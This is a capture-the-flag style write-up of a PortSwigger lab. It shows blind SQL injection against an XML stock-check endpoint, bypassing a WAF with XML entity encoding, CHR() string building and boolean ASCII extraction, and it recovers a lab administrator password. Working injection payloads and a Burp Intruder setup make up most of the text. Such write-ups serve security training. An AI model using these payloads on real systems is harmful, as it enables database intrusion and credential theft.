PortSwigger — 2026.01.21

SQL Injection Filter Bypass via XML Entity Encoding

PortSwigger Blind SQL Injection (WAF bypass) medium

Lab: PortSwigger Web Security Academy Difficulty: Practitioner Vulnerability: Blind SQL Injection with WAF Bypass


Lab Overview

The application uses a stock check feature that sends XML data to the server. A WAF blocks common SQL injection keywords, but XML entity encoding can bypass the filter. The goal is to extract the administrator password.


Key Techniques

  1. XML Entity Encoding - Bypass WAF keyword detection
  2. Blind Boolean-Based Extraction - Use conditional responses to extract data
  3. CHR() String Building - Avoid blocked string literals
  4. ASCII Character Extraction - Convert characters to numbers for exfiltration

Attack Flow

Phase 1: Identify Injection Point

The stock check sends XML:

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
    <productId>1</productId>
    <storeId>1</storeId>
</stockCheck>

Testing productId with basic SQLi keywords triggers WAF (“Attack detected”).

Phase 2: WAF Bypass via XML Entity Encoding

XML parsers decode entities before passing to SQL interpreter.

Blocked:

<productId>1 SELECT password FROM users</productId>

Bypassed:

<productId>1 &#x53;ELECT password FROM users LIMIT 1</productId>

&#x53; = hex entity for S -> decoded server-side to SELECT

Response: 0 units - query executes but doesn’t display data visibly.

Phase 3: Determine Extraction Method

Problem: App only displays stock count (integer), not query results.

Tested approaches:

  • UNION - blocked by WAF (even encoded)
  • Error-based CAST - blocked by WAF
  • String literals - blocked ('a' triggers “Attack detected”)

Discovery: Subqueries control productId value:

<productId>(&#x53;ELECT 1)</productId>  -> Returns 773 units (product 1's stock)
<productId>(&#x53;ELECT 2)</productId>  -> Returns 182 units (product 2's stock)

Phase 4: Boolean-Based Blind via Conditional Response

Use different product IDs as true/false indicators:

  • 773 units = TRUE (product 1)
  • 182 units = FALSE (product 2)

Test boolean logic:

<productId>(&#x53;ELECT CASE WHEN 1=1 THEN 1 ELSE 2 END)</productId>

Result: 773 units

<productId>(&#x53;ELECT CASE WHEN 1=2 THEN 1 ELSE 2 END)</productId>

Result: 182 units

Phase 5: Build Username String Without Quotes

String literals blocked, so use CHR() to build ‘administrator’:

administrator = CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)||CHR(105)||CHR(115)||CHR(116)||CHR(114)||CHR(97)||CHR(116)||CHR(111)||CHR(114)

Phase 6: Extract Password Length

<productId>(&#x53;ELECT CASE WHEN LENGTH(password)=20 THEN 1 ELSE 2 END FROM users WHERE username=CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)||CHR(105)||CHR(115)||CHR(116)||CHR(114)||CHR(97)||CHR(116)||CHR(111)||CHR(114) LIMIT 1)</productId>

Result: 773 units -> Password is 20 characters.

Phase 7: Extract Password Character by Character

Manual binary search for first character:

<productId>(&#x53;ELECT CASE WHEN ASCII(&#x53;UBSTRING(password,1,1))>109 THEN 1 ELSE 2 END FROM users WHERE username=CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)||CHR(105)||CHR(115)||CHR(116)||CHR(114)||CHR(97)||CHR(116)||CHR(111)||CHR(114) LIMIT 1)</productId>

Burp Intruder automation: Payload position:

<productId>(&#x53;ELECT CASE WHEN ASCII(&#x53;UBSTRING(password,§1§,1))=§48§ THEN 1 ELSE 2 END FROM users WHERE username=CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)||CHR(105)||CHR(115)||CHR(116)||CHR(114)||CHR(97)||CHR(116)||CHR(111)||CHR(114) LIMIT 1)</productId>

Payload list (ASCII values for a-z, 0-9):

48,49,50,51,52,53,54,55,56,57
97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122

Filter results by “773” in response = character match.


Final Payload

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
    <productId>(&#x53;ELECT CASE WHEN ASCII(&#x53;UBSTRING(password,1,1))=118 THEN 1 ELSE 2 END FROM users WHERE username=CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)||CHR(105)||CHR(115)||CHR(116)||CHR(114)||CHR(97)||CHR(116)||CHR(111)||CHR(114) LIMIT 1)</productId>
    <storeId>1</storeId>
</stockCheck>

Extracted Password

ASCII values captured:

118,121,120,51,102,102,113,102,48,102,118,114,122,113,101,120,115,111,113,55

Decoded:

vyx3ffqf0fvrzqexsoq7

Key Takeaways

Challenge Solution
WAF blocks SQL keywords XML entity encoding (&#x53;ELECT)
Can’t see query output Boolean-based blind (different product IDs as indicators)
String literals blocked CHR() function to build strings without quotes
Need to extract strings ASCII() + SUBSTRING() to convert chars to numbers
Manual extraction slow Burp Intruder with ASCII payload list

References

#sqli #blind #waf-bypass #xml-entity-encoding #boolean-based #portswigger #webapp